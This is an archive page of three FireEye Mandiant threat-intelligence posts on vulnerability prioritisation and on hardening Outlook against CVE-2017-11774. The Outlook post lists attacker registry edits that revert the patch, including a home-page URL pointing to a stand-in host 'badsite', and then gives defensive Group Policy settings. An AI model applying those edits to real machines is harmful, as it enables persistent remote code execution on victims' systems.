Category Archives: Patches

Putting the Model to Work: Enabling Defenders With Vulnerability Intelligence — Intelligence for Vulnerability Management, Part Four

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations.

Organizations often have to make difficult choices when it comes to patch prioritization. Many are faced with securing complex network infrastructure with thousands of systems, different operating systems, and disparate geographical locations. Even when armed with a simplified vulnerability rating system, it can be hard to know where to start. This problem is compounded by the ever-changing threat landscape and increased access to zero-days.

At FireEye, we apply the rich body of knowledge accumulated over years of global intelligence collection, incident response investigations, and device detections, to help our customers defend their networks. This understanding helps us to discern between hundreds of newly disclosed vulnerabilities to provide ratings and assessments that empower network defenders to focus on the most significant threats and effectively mitigate risk to their organizations. 

In this blog post, we’ll demonstrate how we apply intelligence to help organizations assess risk and make informed decisions about vulnerability management and patching in their environments.

Functions of Vulnerability Intelligence

Vulnerability intelligence helps clients to protect their organizations, assets, and users in three main ways:


Figure 1: Vulnerability intelligence can help with risk assessment and informed decision making

Tailoring Vulnerability Prioritization

We believe it is important for organizations to build a defensive strategy that prioritizes the types of threats that are most likely to impact their environment, and the threats that could cause the most damage. When organizations have a clear picture of the spectrum of threat actors, malware families, campaigns, and tactics that are most relevant to their organization, they can make more nuanced prioritization decisions when those threats are linked to exploitation of vulnerabilities. A lower risk vulnerability that is actively being exploited in the wild against your organization or similar organizations likely has a greater potential impact to you than a vulnerability with a higher rating that is not actively being exploited.


Figure 2: Patch Prioritization Philosophy

Integration of Vulnerability Intelligence in Internal Workflows

Based on our experience assisting organizations globally with enacting intelligence-led security, we outline three use cases for integrating vulnerability intelligence into internal workflows.


Figure 3: Integration of vulnerability intelligence into internal workflows

Tools and Use Cases for Operationalizing Vulnerability Intelligence

1. Automate Processes by Fusing Intelligence with Internal Data

Automation is valuable to security teams with limited resources. Similar to automated detecting and blocking of indicator data, vulnerability threat intelligence can be automated by merging data from internal vulnerability scans with threat intelligence (via systems like the Mandiant Intelligence API) and aggregated into a SIEM, Threat Intelligence Platform, and/or ticketing system. This enhances visibility into various sources of both internal and external data with vulnerability intelligence providing risk ratings and indicating which vulnerabilities are being actively exploited. FireEye also offers a custom tool called FireEye Intelligence Vulnerability Explorer (“FIVE”), described in more detail below for quickly correlating vulnerabilities found in logs and scans with Mandiant ratings.

Security teams can similarly automate communication and workflow tracking processes using threat intelligence by defining rules for auto-generating tickets based on certain combinations of Mandiant risk and exploitation ratings; for example, internal service-level-agreements (SLAs) could state that ‘high’ risk vulnerabilities that have an exploitation rating of ‘available,’ ‘confirmed,’ or ‘wide’ must be patched within a set number of days. Of course, the SLA will depend on the company’s operational needs, the capability of the team that is advising the patch process, and executive buy-in to the SLA process. Similarly, there may be an SLA defined for patching vulnerabilities that are of a certain age. Threat intelligence tells us that adversaries continue to use older vulnerabilities as long as they remain effective. For example, as recently as January 2020, we observed a Chinese cyber espionage group use an exploit for CVE-2012-0158, a Microsoft Office stack-based buffer overflow vulnerability originally released in 2012, in malicious email attachments to target organizations in Southeast Asia. Automating the vulnerability-scan-to-vulnerability-intelligence correlation process can help bring this type of issue to light. 

Another potential use case employing automation would be incorporating vulnerability intelligence as security teams are testing updates or new hardware and software prior to introduction into the production environment. This could dramatically reduce the number of vulnerabilities that need to be patched in production and help prioritize those vulnerabilities that need to be patched first based on your organization’s unique threat profile and business operations.

2. Communicating with Internal Stakeholders

Teams can leverage vulnerability reporting to send internal messaging, such as flash-style notifications, to alert other teams when Mandiant rates a vulnerability known to impact your systems high or critical. These are the vulnerabilities that should take priority in patching and should be patched outside of the regular cycle.

Data-informed intelligence analysis may help convince stakeholders outside of the security organization the importance of patching quickly, even when this is inconvenient to business operations. Threat Intelligence can inform an organization’s appropriate use of resources for security given the potential business impact of security incidents.

3. Threat Modeling

Organizations can leverage vulnerability threat intelligence to inform their threat modeling to gain insight into the most likely threats to their organization, and better prepare to address threats in the mid to long term. Knowledge of which adversaries pose the greatest threat to your organization, and then knowledge of which vulnerabilities those threat groups are exploiting in their operations, can enable your organization to build out security controls and monitoring based on those specific CVEs.

Examples

The following examples illustrate workflows supported by vulnerability threat intelligence to demonstrate how organizations can operationalize threat intelligence in their existing security teams to automate processes and increase efficiency given limited resources.

Example 1: Using FIVE for Ad-hoc Vulnerability Prioritization

The FireEye Intelligence Vulnerability Explorer (“FIVE”) tool is available for customers here. It is available for MacOS and Windows, requires a valid subscription for Mandiant Vulnerability Intelligence, and is driven from an API integration.


Figure 4: FIVE Tool for Windows and MacOS

In this scenario, an organization’s intelligence team was asked to quickly identify any vulnerability that required patching from a server vulnerability scan after that server was rebuilt from a backup image. The intelligence team was presented with a text file containing a list of CVE numbers. Users can drag-and-drop a text readable file (CSV, TEXT, JSON, etc.) into the FIVE tool and the CVE numbers will be discovered from the file using regex. As shown in Figure 6 (below), in this example, the following vulnerabilities were found in the file and presented to the user. 


Figure 5: FIVE tool startup screen waiting for file input


Figure 6: FIVE tool after successfully regexing the CVE-IDs from the file

After selecting all CVE-IDs, the user clicked the “Fetch Vulnerabilities” button, causing the application to make the necessary two-stage API call to the Intelligence API.

The output depicted in Figure 7 shows the user which vulnerabilities should be prioritized based on FireEye’s risk and exploitation ratings. The red and maroon boxes indicate vulnerabilities that require attention, while the yellow indicate vulnerabilities that should be reviewed for possible action. Details of the vulnerabilities are displayed below, with associated intelligence report links providing further context.


Figure 7: FIVE tool with meta-data, CVE-IDs, and links to related Intelligence Reports

FIVE can also facilitate other use cases for vulnerability intelligence. For example, this chart can be attached in messaging to other internal stakeholders or executives for review, as part of a status update to provide visibility on the organization’s vulnerability management program.

Example 2: Vulnerability Prioritization, Internal Communications, Threat Modeling

CVE-2019-19781 is a vulnerability affecting Citrix that Mandiant Threat Intelligence rated critical. Mandiant discussed early exploitation of this vulnerability in a January 2020 blog post. We continued to monitor for additional exploitation, and informed our clients when we observed exploitation by ransomware operators and Chinese espionage group, APT41.

In cases like these, threat intelligence can help impacted organizations find the “signal” in the “noise” and prioritize patching using knowledge of exploitation and the motives and targeting patterns of threat actors behind the exploitation. Enterprises can use intelligence to inform internal stakeholders of the potential risk and provide context as to the potential business and financial impact of a ransomware infection or an intrusion by a highly resourced state sponsored group. This support the immediate patch prioritization decision while simultaneously emphasizing the value of a holistically informed security organization.

Example 3: Intelligence Reduces Unnecessary Resource Expenditure — Automating Vulnerability Prioritization and Communications

Another common application for vulnerability intelligence is informing security teams and stakeholders when to stand down. When a vulnerability is reported in the media, organizations often spin up resources to patch as quickly as possible. Leveraging threat intelligence in security processes help an organization discern when it is necessary to respond in an all-hands-on-deck manner.

Take the case of the CVE-2019-12650, originally disclosed on Sept. 25, 2019 with an NVD rating of “High.” Without further information, an organization relying on this score to determine prioritization may include this vulnerability in the same patch cycle along with numerous other vulnerabilities rated High or Critical. As previously discussed, we have experts review the vulnerability and determine that it required the highest level of privileges available to successfully exploit, and there was no evidence of exploitation in the wild.

This is a case where threat intelligence reporting as well as automation can effectively minimize the need to unnecessarily spin up resources. Although the public NVD score rated this vulnerability high, Mandiant Intelligence rated it as “low” risk due to the high level of privileges needed to use it and lack of exploitation in the wild. Based on this assessment, organizations may decide that this vulnerability could be patched in the regular cycle and does not necessitate use of additional resources to patch out-of-band. When Mandiant ratings are automatically integrated into the patching ticket generation process, this can support efficient prioritization. Furthermore, an organization could use the analysis to issue an internal communication informing stakeholders of the reasoning behind lowering the prioritization.

Vulnerabilities: Managed

Because we have been closely monitoring vulnerability exploitation trends for years, we were able to distinguish when attacker use of zero-days evolved from use by a select class of highly skilled attackers, to becoming accessible to less skilled groups with enough money to burn. Our observations consistently underscore the speed with which attackers exploit useful vulnerabilities, and the lack of exploitation for vulnerabilities that are hard to use or do not help attackers fulfill their objectives. Our understanding of the threat landscape helps us to discern between hundreds of newly disclosed vulnerabilities to provide ratings and assessments that empower network defenders to focus on the most significant threats and effectively mitigate risk to their organizations.

Mandiant Threat Intelligence enables organizations to implement a defense-in-depth approach to holistically mitigate risk by taking all feasible steps—not just patching—to prevent, detect, and stymie attackers at every stage of the attack lifecycle with both technology and human solutions.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.

Additional Resources

Zero-Day Exploitation Increasingly Demonstrates Access to Money, Rather than Skill — Intelligence for Vulnerability Management, Part One

Think Fast: Time Between Disclosure, Patch Release and Vulnerability Exploitation — Intelligence for Vulnerability Management, Part Two

Separating the Signal from the Noise: How Mandiant Intelligence Rates Vulnerabilities — Intelligence for Vulnerability Management, Part Three

Mandiant offers Intelligence Capability Development (ICD) services to help organizations optimize their ability to consume, analyze and apply threat intelligence.

The FIVE tool is available on the FireEye Market. It requires a valid subscription for Mandiant Vulnerability Intelligence, and is driven from an API integration. Please contact your Intelligence Enablement Manager or FireEye Support to obtain API keys. 

Mandiant's OT Asset Vulnerability Assessment Service informs customers of relevant vulnerabilities by matching a customer's asset list against vulnerabilities and advisories. Relevant vulnerabilities and advisories are delivered in a report from as little as once a year, to as often as once a week. Additional add-on services such as asset inventory development and deep dive analysis of critical assets are available. Please contact your Intelligence Enablement Manager for more information.

Think Fast: Time Between Disclosure, Patch Release and Vulnerability Exploitation — Intelligence for Vulnerability Management, Part Two

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations. Check out our first post on zero-day vulnerabilities.

Attackers are in a constant race to exploit newly discovered vulnerabilities before defenders have a chance to respond. FireEye Mandiant Threat Intelligence research into vulnerabilities exploited in 2018 and 2019 suggests that the majority of exploitation in the wild occurs before patch issuance or within a few days of a patch becoming available.


Figure 1: Percentage of vulnerabilities exploited at various times in relation to patch release

FireEye Mandiant Threat Intelligence analyzed 60 vulnerabilities that were either exploited or assigned a CVE number between Q1 2018 to Q3 2019. The majority of vulnerabilities were exploited as zero-days – before a patch was available. More than a quarter were exploited within one month after the patch date. Figure 2 illustrates the number of days between when a patch was made available and the first observed exploitation date for each vulnerability.

We believe these numbers to be conservative estimates, as we relied on the first reported exploitation of a vulnerability linked to a specific date. Frequently, first exploitation dates are not publicly disclosed. It is also likely that in some cases exploitation occurred without being discovered before researchers recorded exploitation attached to a certain date.


Figure 2: Time between vulnerability exploitation and patch issuance

­­­Time Between Disclosure and Patch Release

The average time between disclosure and patch availability was approximately 9 days. This average is slightly inflated by vulnerabilities such as CVE-2019-0863, a Microsoft Windows server vulnerability, which was disclosed in December 2018 and not patched until 5 months later in May 2019. The majority of these vulnerabilities, however, were patched quickly after disclosure. In 59% of cases, a patch was released on the same day the vulnerability was disclosed. These metrics, in combination with the observed swiftness of adversary exploitation activity, highlight the importance of responsible disclosure, as it may provide defenders with the slim window needed to successfully patch vulnerable systems.

Exploitation After Patch Release

While the majority of the observed vulnerabilities were zero-days, 42 percent of vulnerabilities were exploited after a patch had been released. For these non-zero-day vulnerabilities, there was a very small window (often only hours or a few days) between when the patch was released and the first observed instance of attacker exploitation. Table 1 provides some insight into the race between attackers attempting to exploit vulnerable software and organizations attempting to deploy the patch.

Time to Exploit for Vulnerabilities First Exploited after a Patch

Hours

Two vulnerabilities were successfully exploited within hours of a patch release, CVE-2018-2628 and CVE-2018-7602.

Days

12 percent of vulnerabilities were exploited within the first week following the patch release.

One Month

15 percent of vulnerabilities were exploited after one week but within one month of patch release.

Years

In multiple cases, such as the first observed exploitation of CVE-2010-1871 and CVE-2012-0874 in 2019, attackers exploited vulnerabilities for which a patch had been made available many years prior.

Table 1: Exploitation timing for patched vulnerabilities ranges from within hours of patch issuance to years after initial disclosure

Case Studies

We continue to observe espionage and financially motivated groups quickly leveraging publicly disclosed vulnerabilities in their operations. The following examples demonstrate the speed with which sophisticated groups are able to incorporate vulnerabilities into their toolsets following public disclosure and the fact that multiple disparate groups have repeatedly leveraged the same vulnerabilities in independent campaigns. Successful operations by these types of groups are likely to have a high potential impact.


Figure 3: Timeline of activity for CVE-2018-15982

CVE-2018-15982: A use after free vulnerability in a file package in Adobe Flash Player 31.0.0.153 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. This vulnerability was exploited by espionage groups—Russia's APT28 and North Korea's APT37—as well as TEMP.MetaStrike and other financially motivated attackers.


Figure 4: Timeline of activity for CVE-2018-20250

CVE-2018-20250: A path traversal vulnerability exists within the ACE format in the archiver tool WinRAR versions 5.61 and earlier that, when exploited, allows an attacker to locally execute arbitrary code. This vulnerability was exploited by multiple espionage groups, including Chinese, North Korean, and Russian, groups, as well as Iranian groups APT33 and TEMP.Zagros.


Figure 5: Timeline of Activity for CVE-2018-4878

CVE-2018-4878: A use after free vulnerability exists within the DRMManager’s “initialize” call in Adobe Flash Player 28.0.0.137 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. Mandiant Intelligence confirmed that North Korea’s APT37 exploited this vulnerability as a zero-day as early as September 3, 2017. Within 8 days of disclosure, we observed Russia’s APT28 also leverage this vulnerability, with financially motivated attackers and North Korea’s TEMP.Hermit also using within approximately a month of disclosure.

Availability of PoC or Exploit Code

The availability of POC or exploit code on its own does not always increase the probability or speed of exploitation. However, we believe that POC code likely hastens exploitation attempts for vulnerabilities that do not require user interaction. For vulnerabilities that have already been exploited, the subsequent introduction of publicly available exploit or POC code indicates malicious actor interest and makes exploitation accessible to a wider range of attackers. There were a number of cases in which certain vulnerabilities were exploited on a large scale within 48 hours of PoC or exploit code availability (Table 2).

Time Between PoC or Exploit Code Publication and First Observed Potential Exploitation Events

Product

CVE

FireEye Risk Rating

1 day

WinRAR

CVE-2018-20250

Medium

1 day

Drupal

CVE-2018-7600

High

1 day

Cisco Adaptive Security Appliance

CVE-2018-0296

Medium

2 days

Apache Struts

CVE-2018-11776

High

2 days

Cisco Adaptive Security Appliance

CVE-2018-0101

High

2 days

Oracle WebLogic Server

CVE-2018-2893

High

2 days

Microsoft Windows Server

CVE-2018-8440

Medium

2 days

Drupal

CVE-2019-6340

Medium

2 days

Atlassian Confluence

CVE-2019-3396

High

Table 2: Vulnerabilities exploited within two days of either PoC or exploit code being made publicly available, Q1 2018–Q3 2019

Trends by Targeted Products

FireEye judges that malicious actors are likely to most frequently leverage vulnerabilities based on a variety of factors that influence the utility of different vulnerabilities to their specific operations. For instance, we believe that attackers are most likely to target the most widely used products (see Figure 6). Attackers almost certainly also consider the cost and availability of an exploit for a specific vulnerability, the perceived success rate based on the delivery method, security measures introduced by vendors, and user awareness around certain products.

The majority of observed vulnerabilities were for Microsoft products, likely due to the ubiquity of Microsoft offerings. In particular, vulnerabilities in software such as Microsoft Office Suite may be appealing to malicious actors based on the utility of email attached documents as initial infection vectors in phishing campaigns.


Figure 6: Exploited vulnerabilities by vendor, Q1 2018–Q3 2019

Outlook and Implications

The speed with which attackers exploit patched vulnerabilities emphasizes the importance of patching as quickly as possible. With the sheer quantity of vulnerabilities disclosed each year, however, it can be difficult for organizations with limited resources and business constraints to implement an effective strategy for prioritizing the most dangerous vulnerabilities. In upcoming blog posts, FireEye Mandiant Threat Intelligence describes our approach to vulnerability risk rating as well as strategies for making informed and realistic patch management decisions in more detail.

We recommend using this exploitation trend information to better prioritize patching schedules in combination with other factors, such as known active threats to an organization's industry and geopolitical context, the availability of exploit and PoC code, commonly impacted vendors, and how widely software is deployed in an organization's environment may help to mitigate the risk of a large portion of malicious activity.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.

Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774)

Attackers have a dirty little secret that is being used to conduct big intrusions. We’ll explain how they're "unpatching" an exploit and then provide new Outlook hardening guidance that is not available elsewhere. Specifically, this blog post covers field-tested automated registry processing for registry keys to protect against attacker attempts to reverse Microsoft’s CVE-2017-11774 patch functionality.

Despite multiple warnings from FireEye and U.S. Cyber Command, we have continued to observe an uptick in successful exploitation of CVE-2017-11774, a client-side Outlook attack that involves modifying victims’ Outlook client homepages for code execution and persistence. The Outlook Home Page feature allows for customization of the default view for any folder in Outlook. This configuration can allow for a specific URL to be loaded and displayed whenever a folder is opened. This URL is retrieved either via HTTP or HTTPS - and can reference either an internal or external network location. When Outlook loads the remote URL, it will render the contents using the Windows DLL ieframe.dll, which can allow an attacker to achieve remote code execution that persists through system restarts.

We have observed multiple threat actors adopting the technique and eventually becoming a favorite for Iranian groups in support of both espionage and reportedly destructive attacks. FireEye first observed APT34 use CVE-2017-11774 in June 2018, followed by adoption by APT33 for a significantly broader campaign beginning in July 2018 and continuing for at least a year. To further increase awareness of this intrusion vector, our Advanced Practices team worked with MITRE to update the ATT&CK framework to include CVE-2017-11774 home page persistence within technique T1137 – “Office Application Startup”.

For more information on how CVE-2017-11774 exploitation works, how APT33 implemented it alongside password spraying, and some common pitfalls for incident responders analyzing this home page technique, see the “RULER In-The-Wild” section of our December 2018 OVERRULED blog post.

Going Through a Rough Patch

On October 10, 2017, Microsoft released patches for Microsoft Outlook to protect against this technique.

  • KB4011196 (Outlook 2010)
  • KB4011178 (Outlook 2013)
  • KB4011162 (Outlook 2016)

Following the mid-2018 abuse by Iranian threat actors first detailed in our OVERRULED blog post, the FireEye Mandiant team began to raise awareness of how the patch could be subverted. Doug Bienstock discussed in December 2018 that the simple roll back of the patch as a part of Mandiant’s Red Team operations – and alluded to observing authorized software that also automatically removes the patch functionality. In response to U.S. Cyber Command’s mid-2019 warning about APT33’s use of the exploit, we raised concern with DarkReading over the ability to override the CVE-2017-11774 patch without escalated privileges.

Without continuous reinforcement of the recommended registry settings for CVE-2017-11774 hardening detailed within this blog post, an attacker can add or revert registry keys for settings that essentially disable the protections provided by the patches.

An attacker can set a home page to achieve code execution and persistence by editing the WebView registry keys. The “URL” subkey will enable and set a home page for the specified mail folder within the default mailbox. Setting this registry key to a valid URL enables the home page regardless of the patch being applied or not. Although the option will not be accessible from the Outlook user interface (UI), it will still be set and render. Importantly, these keys are set within the logged-on user’s Registry hive. This means that no special privileges are required to edit the Registry and roll back the patch. The FireEye Red Team found that no other registry modifications were required to set a malicious Outlook homepage.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\ Outlook\WebView\Inbox
“URL”= http://badsite/homepage-persist.html

There are additional keys within the Registry that can be modified to further roll back the patch and expose unsafe options in Outlook. The following setting can be used to re-enable the original home page tab and roaming home page behavior in the Outlook UI.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security
“EnableRoamingFolderHomepages”= dword:00000001

The following setting will allow for folders within secondary (non-default) mailboxes to leverage a custom home page.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security
“NonDefaultStoreScript"= dword:00000001

The following setting will allow for “Run as a Script” and “Start Application” rules to be re-enabled.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security
“EnableUnsafeClientMailRules"= dword:00000001

Etienne Stalmans, a developer of SensePost’s RULER and the credited responsible discloser of CVE-2017-11774, chimed in about similar concerns on the patch that were re-raised after seeing a September 2018 blog post about applying the same technique to Outlook Today’s home page that is stored at HKCU\Software\Microsoft\Office\<Outlook Version>\Outlook\Today\UserDefinedUrl. Both Etienne and the September 2018 blog post’s author describe what Microsoft has suggested as a key mitigating factor – that the exploit and rolling back the patch require some form of initial access. This is consistent with Microsoft’s position and their 2007 immutable laws of security blog, which were reiterated when we contacted MSRC prior to publishing this blog post.

We agree that for the CVE-2017-11774 patch override vector to be successful, a bad guy has to persuade you to run his program (law #1) and alter your operating system (law #2). However, the technique is under-reported, no public mitigation guidance is available, and – as a fresh in-the-wild example demonstrates in this post – that initial access and patch overriding can be completely automated.

A Cavalier Handling of CVE-2017-11774

The Advanced Practices team monitors for novel implementations of attacker techniques including this patch override, and on November 23, 2019 a uniquely automated phishing document was uploaded to VirusTotal. The sample, “TARA Pipeline.xlsm” (MD5: ddbc153e4e63f7b8b6f7aa10a8fad514), launches malicious Excel macros combining several techniques, including:

  • execution guardrails to only launch on the victim domain (client redacted in screenshot)
  • custom pipe-delimited character substitution obfuscation
  • a creative implementation of CVE-2017-11774 using the lesser-known HKCU\Software\Microsoft\Office\<Outlook Version>\Outlook\WebView\Calendar\URL registry key
  • a URL pointing to the payload hosted in Azure storage blobs (*.web.core.windows.net) – a creative technique that allows an attacker-controlled, swappable payload to be hosted in a legitimate service
  • and most importantly for this blog post – a function to walk through the registry and reverse the CVE-2017-11774 patch functionality for any version of Microsoft Outlook

These features of the malicious spear phishing Excel macro can be seen in Figure 1.


Figure 1: Malicious macros automatically reverting the CVE-2017-11774 patch

Pay special attention to the forced setting of EnableRoamingFolderHomepages to “1” and the setup of “Calendar\URL” key to point to an attacker-controlled payload, effectively disabling the CVE-2017-11774 patch on initial infection.

In support of Managed Defense, our Advanced Practices team clusters and tactically attributes targeted threat activity – whether the intrusion operators turn out to be authorized or unauthorized – in order to prioritize and deconflict intrusions. In this case, Nick Carr attributed this sample to an uncategorized cluster of activity associated with authorized red teaming, UNC1194 , but you might know them better as the TrustedSec red team whose founder, Dave Kennedy, appeared on a previous episode of State of the Hack. This malicious Excel file appears to be a weaponized version of a legitimate victim-created document that we also obtained – reflecting a technique becoming more common with both authorized and unauthorized intrusion operators. For further analysis and screenshots of UNC1194’s next stage CVE-2017-11774 payload for initial reconnaissance, target logging visibility checks, and domain-fronted Azure command and control – see here. Readers should take note that the automated patch removal and home page exploitation establishes attacker-controlled remote code execution and allows these [thankfully authorized] attackers to conduct a full intrusion by swapping out their payload remotely for all follow-on activity.

Locking Down the Registry Keys Using Group Policy Object (GPO) Enforcement

As established, the patches for CVE-2017-11774 can be effectively “disabled” by modifying registry keys on an endpoint with no special privileges. The following registry keys and values should be configured via Group Policy to reinforce the recommended configurations in the event that an attacker attempts to reverse the intended security configuration on an endpoint to allow for Outlook home page persistence for malicious purposes.

To protect against an attacker using Outlook’s WebView functionality to configure home page persistence, the following registry key configuration should be enforced.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\WebView
"Disable"= dword:00000001

Note: Prior to enforcing this hardening method for all endpoints, the previous setting should be tested on a sampling of endpoints to ensure compatibility with third-party applications that may leverage webviews.

To enforce the expected hardened configuration of the registry key using a GPO, the following setting can be configured.

  • User Configuration > Preferences > Windows Settings > Registry
    • New > Registry Item
      • Action: Update
      • Hive: HKEY_CURRENT_USER
      • Key Path: Software\Microsoft\Office\<Outlook Version>\Outlook\Webview
        • Value Name: Disable
      • Value Type: REG_DWORD
      • Value Data: 00000001


Figure 2: Disabling WebView registry setting

Included within the Microsoft Office Administrative Templates, a GPO setting is available which can be configured to disable a home page URL from being set in folder properties for all default folders, or for each folder individually.  If set to “Enabled”, the following GPO setting essentially enforces the same registry configuration (disabling WebView) as previously noted.

User Configuration > Policies > Administrative Templates > Microsoft Outlook <version> > Folder Home Pages for Outlook Special Folders > Do not allow Home Page URL to be set in folder Properties

The registry key configuration to disable setting an Outlook home page via the Outlook UI is as follows.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security
"EnableRoamingFolderHomepages"= dword:00000000

To enforce the expected hardened configuration of the registry key using a GPO, the following setting can be configured.

  • User Configuration > Preferences > Windows Settings > Registry
    • New > Registry Item
      • Action: Update
      • Hive: HKEY_CURRENT_USER
      • Key Path: Software\Microsoft\Office\<Outlook Version>\Outlook\Security
        • Value Name: EnableRoamingFolderHomepages
      • Value Type: REG_DWORD
      • Value Data: 00000000


Figure 3: EnableRoamingFolderHomepages registry setting

Additionally, a home page in Outlook can be configured for folders in a non-default datastore. This functionality is disabled once the patch has been installed, but it can be re-enabled by an attacker. Just like this blog post’s illustration of several different home page URL registry keys abused in-the-wild – including the Outlook Today setting from September 2018 and the Calendar URL setting from UNC1194’s November 2019 malicious macros – these non-default mailstores provide additional CVE-2017-11774 attack surface.

The registry key configuration to enforce the recommended registry configuration is as follows.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security
"NonDefaultStoreScript"= dword:00000000

To enforce the expected hardened configuration of the registry key for non-default mailstores using a GPO, the following setting can be configured.

  • User Configuration > Preferences > Windows Settings > Registry
    • New > Registry Item
      • Action: Update
      • Hive: HKEY_CURRENT_USER
      • Key Path: Software\Microsoft\Office\<Outlook Version>\Outlook\Security
        • Value Name: NonDefaultStoreScript
      • Value Type: REG_DWORD
      • Value Data: 00000000


Figure 4: NonDefaultStoreScript registry setting

Included within the previously referenced Microsoft Office Administrative Templates, a GPO setting is available which can be configured to not allow folders in non-default stores to be set as folder home pages.

User Configuration > Policies > Administrative Templates > Microsoft Outlook <version> > Outlook Options > Other > Advanced > Do not allow folders in non-default stores to be set as folder home pages

While you’re locking things down, we thought that readers would also want to ensure they are locked down against RULER’s other modules for rules-based persistence and forms-based persistence. This last recommendation ensures that the rule types required by the other RULER modules are no longer permissible on an endpoint. While not CVE-2017-11774, this is closely related and this last setting is consistent with Microsoft’s prior guidance on rules and forms persistence.

The registry key configuration to protect against an attacker re-enabling “Run as a Script” and “Start Application” rules is as follows.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security\
"EnableUnsafeClientMailRules"= dword:00000000

To enforce the expected hardened configuration of the registry key using a GPO, the following setting can be configured.

  • User Configuration > Preferences > Windows Settings > Registry
    • New > Registry Item
      • Action: Update
      • Hive: HKEY_CURRENT_USER
      • Key Path: Software\Microsoft\Office\<Outlook Version>\Outlook\Security
        • Value Name: EnableUnsafeClientMailRules
      • Value Type: REG_DWORD
      • Value Data: 00000000


Figure 5: EnableUnsafeClientMailRules registry setting

Once all of aforementioned endpoint policies are configured – we recommend a final step to protect these settings from unauthorized tampering. To ensure that the registry settings (configured via GPO) are continuously assessed and applied to an endpoint – even if the registry value was intentionally reversed by an attacker – the following GPO settings should also be configured and enforced:

  • Computer Configuration > Policies > Administrative Templates > System > Group Policy > Configure security policy processing
    • Enabled - Process even if the Group Policy objects have not changed
  • Computer Configuration > Policies > Administrative Templates > System > Group Policy > Configure registry policy processing
    • Enabled - Process even if the Group Policy objects have not changed


Figure 6: Group Policy processing settings

For more environment hardening advice informed by front-line incident response, reach out to our Mandiant Security Transformation Services consulting team.

Let’s Go Hunt (doo doo doo)

With this blog post, we’re providing an IOC for monitoring CVE-2017-11774 registry tampering – while written for FireEye Endpoint Security (HX) in the OpenIOC 1.1 schema, this is a flexible behavioral detection standard that supports real-time and historical events and the logic can be repurposed for other endpoint products.

The Yara hunting rule provided by Nick Carr at the end the OVERRULED blog post still captures payloads using CVE-2017-11774, including all of those used in intrusions referenced in this post, and can also be used to proactively identify home page exploits staged on adversary infrastructure. Further FireEye product detection against CVE-2017-11774 is also covered in the OVERRULED blog post.

If you’ve read the OVERRULED post (or are tired of hearing about it) but want some additional information, we recommend:

Interesting MITRE ATT&CK techniques explicitly referenced in this blog post:

ID

Technique

Context

T1137

Office Application Startup

Nick Carr contributed CVE-2017-11774 on behalf of FireEye for expansion of this technique

T1480

Execution Guardrails

Nick Carr contributed this new technique to MITRE ATT&CK and it is used within the UNC1194 red team sample in this blog post

Acknowledgements

The authors would like to acknowledge all of those at FireEye and the rest of the security industry who have combatted targeted attackers leveraging creative techniques like home page persistence, but especially the analysts in Managed Defense SOC working around the clock to secure our customers and have disrupted this specific attack chain several times. We want to thank the SensePost team – for their continued creativity, responsible disclosure of CVE-2017-11774, and their defensive-minded release of NotRuler – as well as the TrustedSec crew for showing us some innovative implementations of these techniques and being great to coordinate with on this blog post. Lastly, thanks to Aristotle who has already offered what can only be interpreted as seasoned incident response and hardening advice for those who have seen RULER’s home page persistence in-the-wild: “He who is to be a good ruler must have first been ruled.”